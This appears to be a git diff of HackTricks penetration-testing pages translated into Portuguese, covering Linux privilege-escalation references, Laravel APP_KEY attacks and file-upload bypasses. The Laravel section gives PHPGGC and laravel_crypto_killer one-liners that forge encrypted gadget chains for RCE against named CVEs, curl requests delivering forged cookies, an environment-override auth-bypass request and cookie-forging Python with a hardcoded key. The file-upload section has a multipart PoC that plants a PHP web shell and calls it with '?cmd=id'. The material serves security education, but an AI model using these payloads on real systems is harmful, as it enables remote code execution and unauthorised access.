syscall para expor funcionalidades privilegiadas do kernel a um gerenciador em userspace. Autenticação fraca do gerenciador (ex.: verificações de assinatura baseadas em FD-order ou esquemas de senha fracos) pode permitir que um app local se faça passar pelo gerenciador e escale para root em dispositivos já rootados. Saiba mais e detalhes de exploração aqui: {{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md {{#endref}} -## Kernel Security Protections +## Proteções de Segurança do Kernel - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## More help +## Mais ajuda [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) -## Linux/Unix Privesc Tools +## Ferramentas Linux/Unix para Privesc ### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) @@ -1460,7 +1484,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ **EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ -**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) +**Recopilação de mais scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) ## Referências @@ -1482,6 +1506,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md - [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) - [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/) - [0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html) -- [GNU Bash Reference Manual – Shell Arithmetic](https://www.gnu.org/software/bash/manual/bash.html#Shell-Arithmetic) +- [GNU Bash Manual – BASH_ENV (non-interactive startup file)](https://www.gnu.org/software/bash/manual/bash.html#index-BASH_005fENV) +- [0xdf – HTB Environment (sudo env_keep BASH_ENV → root)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/laravel.md b/src/network-services-pentesting/pentesting-web/laravel.md index e8550cb6d..4a48e253f 100644 --- a/src/network-services-pentesting/pentesting-web/laravel.md +++ b/src/network-services-pentesting/pentesting-web/laravel.md @@ -8,10 +8,10 @@ Leia informações sobre isso aqui: [https://stitcher.io/blog/unsafe-sql-functio --- -## APP_KEY & Internos de Criptografia (Laravel \u003e=5.6) +## APP_KEY & Internos de Encryption (Laravel \u003e=5.6) -Laravel usa AES-256-CBC (ou GCM) com integridade HMAC por trás dos panos (`Illuminate\\Encryption\\Encrypter`). -O texto cifrado bruto que é finalmente **enviado ao cliente** é **Base64 de um objeto JSON** como: +Laravel usa AES-256-CBC (ou GCM) com integridade HMAC por baixo do capô (`Illuminate\\Encryption\\Encrypter`). +O raw ciphertext que é finalmente **enviado ao cliente** é **Base64 de um objeto JSON** como: ```json { "iv" : "Base64(random 16-byte IV)", @@ -20,16 +20,16 @@ O texto cifrado bruto que é finalmente **enviado ao cliente** é **Base64 de um "tag" : "" // only used for AEAD ciphers (GCM) } ``` -`encrypt($value, $serialize=true)` irá `serialize()` o texto simples por padrão, enquanto `decrypt($payload, $unserialize=true)` **irá automaticamente `unserialize()`** o valor decifrado. Portanto, **qualquer atacante que conheça o segredo de 32 bytes `APP_KEY` pode criar um objeto PHP serializado criptografado e obter RCE via métodos mágicos (`__wakeup`, `__destruct`, …)**. +`encrypt($value, $serialize=true)` vai `serialize()` o plaintext por padrão, enquanto `decrypt($payload, $unserialize=true)` **irá automaticamente `unserialize()`** o valor decriptado. Portanto, **qualquer atacante que conheça o segredo de 32 bytes `APP_KEY` pode criar um objeto PHP serializado criptografado e obter RCE via magic methods (`__wakeup`, `__destruct`, …)**. -PoC mínima (framework ≥9.x): +Minimal PoC (framework ≥9.x): ```php use Illuminate\Support\Facades\Crypt; $chain = base64_decode(''); // e.g. phpggc Laravel/RCE13 system id -b -f $evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste ``` -Injete a string produzida em qualquer ponto vulnerável `decrypt()` (parâmetro de rota, cookie, sessão, ...). +Injete a string produzida em qualquer sink `decrypt()` vulnerável (route param, cookie, session, …). --- @@ -45,25 +45,25 @@ laravel_crypto_killer.py decrypt -k -v # Try a word-list of keys against a token (offline) laravel_crypto_killer.py bruteforce -v -kf appkeys.txt ``` -O script suporta de forma transparente tanto cargas úteis CBC quanto GCM e regenera o campo HMAC/tag. +O script suporta de forma transparente payloads CBC e GCM e regenera o campo HMAC/tag. --- ## Padrões vulneráveis do mundo real -| Projeto | Ponto vulnerável | Cadeia de gadgets | -|---------|------------------|-------------------| +| Project | Sink vulnerável | Gadget chain | +|---------|-----------------|--------------| | Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 | -| Snipe-IT ≤v6 (CVE-2024-48987) | Cookie `XSRF-TOKEN` quando `Passport::withCookieSerialization()` está habilitado | Laravel/RCE9 | -| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → Cookie `laravel_session` | Laravel/RCE15 | +| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie quando `Passport::withCookieSerialization()` está habilitado | Laravel/RCE9 | +| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 | O fluxo de exploração é sempre: -1. Obter ou forçar a força bruta da `APP_KEY` de 32 bytes. -2. Construir uma cadeia de gadgets com **PHPGGC** (por exemplo, `Laravel/RCE13`, `Laravel/RCE9` ou `Laravel/RCE15`). -3. Criptografar o gadget serializado com **laravel_crypto_killer.py** e a `APP_KEY` recuperada. -4. Entregar o texto cifrado ao ponto vulnerável `decrypt()` (parâmetro de rota, cookie, sessão …) para acionar **RCE**. +1. Obtenha ou brute-force a `APP_KEY` de 32-byte. +2. Construa uma gadget chain com **PHPGGC** (por exemplo `Laravel/RCE13`, `Laravel/RCE9` ou `Laravel/RCE15`). +3. Criptografe o gadget serializado com **laravel_crypto_killer.py** e a `APP_KEY` recuperada. +4. Entregue o ciphertext ao sink vulnerável `decrypt()` (parâmetro de rota, cookie, session …) para acionar **RCE**. -Abaixo estão linhas concisas demonstrando todo o caminho do ataque para cada CVE do mundo real mencionado acima: +Abaixo estão one-liners concisos demonstrando o caminho completo do ataque para cada CVE do mundo real mencionado acima: ```bash # Invoice Ninja ≤5 – /route/{hash} php8.2 phpggc Laravel/RCE13 system id -b -f | \ @@ -80,41 +80,84 @@ php8.2 phpggc Laravel/RCE15 system id -b > payload.bin ./laravel_crypto_killer.py encrypt -k -v payload.bin --session_cookie= > forged.txt curl -H "Cookie: laravel_session=; =$(cat forged.txt)" https://victim/login ``` +## Descoberta em massa de APP_KEY via cookie brute-force + +Porque toda resposta Laravel nova define pelo menos 1 cookie criptografado (`XSRF-TOKEN` e normalmente `laravel_session`), **scanners públicos da internet (Shodan, Censys, …) leak milhões de ciphertexts** que podem ser atacados offline. + +Principais achados da pesquisa publicada pela Synacktiv (2024-2025): +* Dataset July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k) +* Dataset May 2025 » 625 k tokens, **3.56 % keys cracked** +* >1 000 servers ainda vulneráveis ao legacy CVE-2018-15133 porque tokens contêm diretamente dados serializados. +* Reuso massivo de keys – as Top-10 APP_KEYs são defaults hard-coded fornecidos com templates comerciais Laravel (UltimatePOS, Invoice Ninja, XPanel, …). + +A ferramenta Go privada **nounours** empurra o throughput de AES-CBC/GCM bruteforce para ~1.5 billion tries/s, reduzindo o cracking de todo o dataset para <2 minutos. + + +## CVE-2024-52301 – HTTP argv/env override → auth bypass + +Quando o PHP tem `register_argc_argv=On` (típico em muitas distros), o PHP expõe um array `argv` para requisições HTTP derivado da query string. Versões recentes do Laravel parseavam esses args “CLI-like” e respeitavam `--env=` em tempo de execução. Isso permite trocar o environment do framework para a requisição HTTP atual apenas adicionando ao URL: + +- Quick check: +- Visite `https://target/?--env=local` ou qualquer string e procure por mudanças dependentes do environment (banners de debug, footers, erros verbose). Se a string for refletida, o override está funcionando. + +- Impact example (business logic que confia num env especial): +- Se a app contém ramos como `if (app()->environment('preprod')) { /* bypass auth */ }`, você pode autenticar sem credenciais válidas enviando o POST de login para: +- `POST /login?--env=preprod` + +- Notes: +- Funciona por requisição, sem persistência. +- Requer `register_argc_argv=On` e uma versão vulnerável do Laravel que lê argv para HTTP. +- Primitive útil para revelar erros mais verbose em envs “debug” ou para disparar caminhos de código protegidos por environment. + +- Mitigations: +- Desabilitar `register_argc_argv` para PHP-FPM/Apache. +- Atualizar Laravel para ignorar argv em requisições HTTP e remover quaisquer suposições de confiança atreladas a `app()->environment()` em rotas de produção. + +Minimal exploitation flow (Burp): +```http +POST /login?--env=preprod HTTP/1.1 +Host: target +Content-Type: application/x-www-form-urlencoded +... +email=a@b.c&password=whatever&remember=0xdf +``` --- -## Descoberta em massa do APP_KEY via brute-force de cookies - -Porque cada resposta nova do Laravel define pelo menos 1 cookie criptografado (`XSRF-TOKEN` e geralmente `laravel_session`), **scanners públicos da internet (Shodan, Censys, …) vazam milhões de textos cifrados** que podem ser atacados offline. - -Principais descobertas da pesquisa publicada pela Synacktiv (2024-2025): -* Conjunto de dados Julho 2024 » 580 k tokens, **3,99 % das chaves quebradas** (≈23 k) -* Conjunto de dados Maio 2025 » 625 k tokens, **3,56 % das chaves quebradas** -* >1 000 servidores ainda vulneráveis ao CVE-2018-15133 legado porque os tokens contêm diretamente dados serializados. -* Reutilização massiva de chaves – os 10 principais APP_KEYs são padrões codificados que vêm com templates comerciais do Laravel (UltimatePOS, Invoice Ninja, XPanel, …). - -A ferramenta Go privada **nounours** empurra a taxa de brute-force AES-CBC/GCM para ~1,5 bilhões de tentativas/s, reduzindo a quebra de conjuntos de dados completos para <2 minutos. - - ## Truques do Laravel ### Modo de depuração -Se o Laravel estiver em **modo de depuração**, você poderá acessar o **código** e **dados sensíveis**.\ +Se o Laravel estiver em **modo de depuração** você conseguirá acessar o **código** e **dados sensíveis**.\ Por exemplo `http://127.0.0.1:8000/profiles`: ![](<../../images/image (1046).png>) -Isso geralmente é necessário para explorar outras CVEs de RCE do Laravel. +Isso geralmente é necessário para explorar outras Laravel RCE CVEs. +### Fingerprinting & endpoints de dev expostos + +Verificações rápidas para identificar uma stack Laravel e ferramentas de dev perigosas expostas em produção: + +- `/_ignition/health-check` → Ignition presente (ferramenta de depuração usada por CVE-2021-3129). Se acessível sem autenticação, a aplicação pode estar em modo de depuração ou mal configurada. +- `/_debugbar` → assets do Laravel Debugbar; frequentemente indica modo de depuração. +- `/telescope` → Laravel Telescope (monitor de dev). Se público, espere ampla divulgação de informações e possíveis ações. +- `/horizon` → Painel de filas; divulgação de versão e às vezes ações protegidas por CSRF. +- `X-Powered-By`, cookies `XSRF-TOKEN` e `laravel_session`, e páginas de erro Blade também ajudam no fingerprint. +```bash +# Nuclei quick probe +nuclei -nt -u https://target -tags laravel -rl 30 +# Manual spot checks +for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done +``` ### .env -O Laravel salva o APP que usa para criptografar os cookies e outras credenciais dentro de um arquivo chamado `.env` que pode ser acessado usando alguma travessia de caminho em: `/../.env` +O Laravel salva o APP que usa para encrypt os cookies e outras credenciais dentro de um arquivo chamado `.env` que pode ser acessado usando algum path traversal em: `/../.env` -O Laravel também mostrará essas informações na página de depuração (que aparece quando o Laravel encontra um erro e está ativado). +O Laravel também mostrará essa informação na página de debug (que aparece quando o Laravel encontra um erro e está ativado). -Usando o APP_KEY secreto do Laravel, você pode descriptografar e recriptografar cookies: +Usando a APP_KEY secreta do Laravel você pode decrypt e re-encrypt cookies: -### Descriptografar Cookie +### Decrypt Cookie ```python import os import json @@ -169,22 +212,22 @@ return base64.b64encode(bytes(json.dumps(dic), 'utf-8')) app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k=' key = base64.b64decode(app_key) -decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9') -#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e' -encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}') +decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9') +#b'{"data":"a:6:{s:6:\"_token\";s:40:\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\";s:8:\"username\";s:8:\"guestc32\";s:5:\"order\";s:2:\"id\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e' +encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\";s:8:\"username\";s:8:\"guest60e\";s:5:\"order\";s:8:\"lolololo\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605141157}') ``` ### Laravel Deserialization RCE Versões vulneráveis: 5.5.40 e 5.6.x até 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/)) -Aqui você pode encontrar informações sobre a vulnerabilidade de desserialização aqui: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/) +Informações sobre a deserialization vulnerability podem ser encontradas aqui: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/) -Você pode testar e explorar usando [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\ -Ou você também pode explorá-lo com metasploit: `use unix/http/laravel_token_unserialize_exec` +Você pode testá-la e exploitá-la usando [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\ +Ou você também pode exploitá-la com metasploit: `use unix/http/laravel_token_unserialize_exec` ### CVE-2021-3129 -Outra desserialização: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits) +Outra deserialization: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits) @@ -194,5 +237,9 @@ Outra desserialização: [https://github.com/ambionics/laravel-exploits](https:/ * [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) * [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc) * [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce) +* [CVE-2024-52301 advisory – Laravel argv env detection](https://github.com/advisories/GHSA-gv7v-rgg6-548h) +* [CVE-2024-52301 PoC – register_argc_argv HTTP argv → --env override](https://github.com/Nyamort/CVE-2024-52301) +* [0xdf – HTB Environment (CVE‑2024‑52301 env override → auth bypass)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md index 8ceec0503..6f9fa10f6 100644 --- a/src/pentesting-web/file-upload/README.md +++ b/src/pentesting-web/file-upload/README.md @@ -1,10 +1,10 @@ -# Envio de Arquivos +# Upload de Arquivos {{#include ../../banners/hacktricks-training.md}} ## Metodologia Geral de Upload de Arquivos -Outras extensões úteis: +Other useful extensions: - **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_ - **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_ @@ -15,13 +15,13 @@ Outras extensões úteis: - **Perl**: _.pl, .cgi_ - **Erlang Yaws Web Server**: _.yaws_ -### Contornar verificações de extensões de arquivo +### Bypass das verificações de extensões -1. Se aplicável, verifique as extensões anteriores. Teste também usando algumas letras maiúsculas: _pHp, .pHP5, .PhAr ..._ -2. Verifique **adicionando uma extensão válida antes** da extensão de execução (use as extensões anteriores também): +1. Se aplicável, **verifique** as **extensões anteriores**. Teste também usando letras **maiúsculas**: _pHp, .pHP5, .PhAr ..._ +2. _Verifique **adicionar uma extensão válida antes** da extensão de execução (use também as extensões anteriores):_ - _file.png.php_ - _file.png.Php5_ -3. Tente adicionar **caracteres especiais no final.** Você pode usar o Burp para **bruteforce** todos os caracteres **ascii** e **Unicode**. (_Note que você também pode tentar usar as **extensões** mencionadas anteriormente_) +3. Tente adicionar **caracteres especiais no final.** Você pode usar o Burp para **bruteforce** todos os caracteres **ascii** e **Unicode**. (_Nota: você também pode tentar usar as **extensões** mencionadas **anteriormente**_) - _file.php%20_ - _file.php%0a_ - _file.php%00_ @@ -31,7 +31,7 @@ Outras extensões úteis: - _file._ - _file.php...._ - _file.pHp5...._ -4. Tente contornar as proteções **enganando o parser de extensão** do lado servidor com técnicas como **duplicar** a **extensão** ou **adicionar dados lixo** (bytes **null**) entre extensões. _Você também pode usar as **extensões anteriores** para preparar um payload melhor._ +4. Tente burlar as proteções **enganando o parser de extensão** do lado do servidor com técnicas como **duplicar** a **extensão** ou **adicionar dados lixo** (bytes **null**) entre as extensões. _Você também pode usar as **extensões anteriores** para preparar um payload melhor._ - _file.png.php_ - _file.png.pHp5_ - _file.php#.png_ @@ -40,18 +40,18 @@ Outras extensões úteis: - _file.php%0a.png_ - _file.php%0d%0a.png_ - _file.phpJunk123png_ -5. Adicione **outra camada de extensões** ao teste anterior: +5. Adicione **outra camada de extensões** à checagem anterior: - _file.png.jpg.php_ - _file.php%00.png%00.jpg_ -6. Tente colocar a **extensão de execução antes da extensão válida** e torça para que o servidor esteja mal configurado. (útil para explorar misconfigurações do Apache onde qualquer coisa com extensão .php, mesmo não terminando em .php, irá executar código): +6. Tente colocar a **extensão de execução antes da extensão válida** e reze para que o servidor esteja mal configurado. (útil para explorar misconfigurações do Apache onde qualquer coisa com extensão **_.php_**, mas não necessariamente terminando em .php, executará código): - _ex: file.php.png_ -7. Usando **NTFS alternate data stream (ADS)** no **Windows**. Nesse caso, um caractere dois-pontos ":" será inserido após uma extensão proibida e antes de uma permitida. Como resultado, um **arquivo vazio com a extensão proibida** será criado no servidor (ex.: "file.asax:.jpg"). Esse arquivo pode ser editado mais tarde usando outras técnicas, como usando seu short filename. O padrão "**::$data**” também pode ser usado para criar arquivos não vazios. Portanto, adicionar um ponto após esse padrão pode ser útil para contornar restrições adicionais (ex.: "file.asp::$data.”) -8. Tente exceder os limites de nome de arquivo. A extensão válida é cortada. E o PHP malicioso fica. AAA<--SNIP-->AAA.php +7. Uso do **NTFS alternate data stream (ADS)** no **Windows**. Nesse caso, um carácter dois-pontos ":" será inserido depois de uma extensão proibida e antes de uma permitida. Como resultado, um **arquivo vazio com a extensão proibida** será criado no servidor (ex.: "file.asax:.jpg"). Esse arquivo pode ser editado depois usando outras técnicas, como usar seu short filename. O padrão "**::$data**" também pode ser usado para criar arquivos não-vazios. Portanto, adicionar um ponto após esse padrão também pode ser útil para contornar restrições adicionais (ex.: "file.asp::$data."). +8. Tente ultrapassar os limites do nome de arquivo. A extensão válida é cortada. E o PHP malicioso fica. AAA<--SNIP-->AAA.php ``` # Linux maximum 255 bytes /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255 -Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png +Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png # Upload the file and check response how many characters it alllows. Let's say 236 python -c 'print "A" * 232' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA @@ -59,56 +59,86 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAA<--SNIP 232 A-->AAA.php.png ``` -### Contornar Content-Type, Magic Number, Compressão & Redimensionamento +#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546 -- Contorne verificações de **Content-Type** definindo o **valor** do cabeçalho **Content-Type** para: _image/png_ , _text/plain , application/octet-stream_ +Some upload handlers trim or normalize trailing dot characters from the saved filename. In UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) versions before 2.9.1, you can bypass extension validation by: + +- Using a valid image MIME and magic header (e.g., PNG’s `\x89PNG\r\n\x1a\n`). +- Naming the uploaded file with a PHP extension followed by a dot, e.g., `shell.php.`. +- The server strips the trailing dot and persists `shell.php`, which will execute if it’s placed in a web-served directory (default public storage like `/storage/files/`). + +Minimal PoC (Burp Repeater): +```http +POST /profile/avatar HTTP/1.1 +Host: target +Content-Type: multipart/form-data; boundary=----WebKitFormBoundary + +------WebKitFormBoundary +Content-Disposition: form-data; name="upload"; filename="0xdf.php." +Content-Type: image/png + +\x89PNG\r\n\x1a\n +------WebKitFormBoundary-- +``` +Então acesse o caminho salvo (típico em Laravel + LFM): +``` +GET /storage/files/0xdf.php?cmd=id +``` +Mitigações: +- Atualize unisharp/laravel-filemanager para ≥ 2.9.1. +- Implemente allowlists estritos no lado do servidor e revalide o nome de arquivo persistido. +- Sirva uploads a partir de locais não executáveis. + +### Bypass Content-Type, Magic Number, Compression & Resizing + +- Contorne verificações de **Content-Type** definindo o **valor** do **header** **Content-Type** para: _image/png_ , _text/plain , application/octet-stream_ 1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) -- Contorne checagem de **magic number** adicionando no início do arquivo os **bytes de uma imagem real** (confundir o comando _file_). Ou introduza o shell dentro dos **metadados**:\ +- Contorne a verificação de **magic number** adicionando no início do arquivo os **bytes de uma imagem real** (confundir o _file_ command). Ou introduza o shell dentro dos **metadata**:\ `exiftool -Comment="' >> img.png` -- Se **compressão está sendo aplicada à sua imagem**, por exemplo usando algumas bibliotecas PHP padrão como [PHP-GD](https://www.php.net/manual/fr/book.image.php), as técnicas anteriores não serão úteis. No entanto, você pode usar o chunk **PLTE** [**técnica definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir texto que **sobreviva à compressão**. +- Se **compressão estiver sendo aplicada à sua imagem**, por exemplo usando algumas bibliotecas PHP padrão como [PHP-GD](https://www.php.net/manual/fr/book.image.php), as técnicas anteriores não serão úteis. No entanto, você pode usar o **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que vai **sobreviver à compressão**. - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) -- A página web também pode estar **redimensionando** a **imagem**, usando por exemplo as funções PHP-GD `imagecopyresized` ou `imagecopyresampled`. Contudo, você pode usar o chunk **IDAT** [**técnica definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir texto que **sobreviva à compressão**. +- A página web também pode estar **redimensionando** a 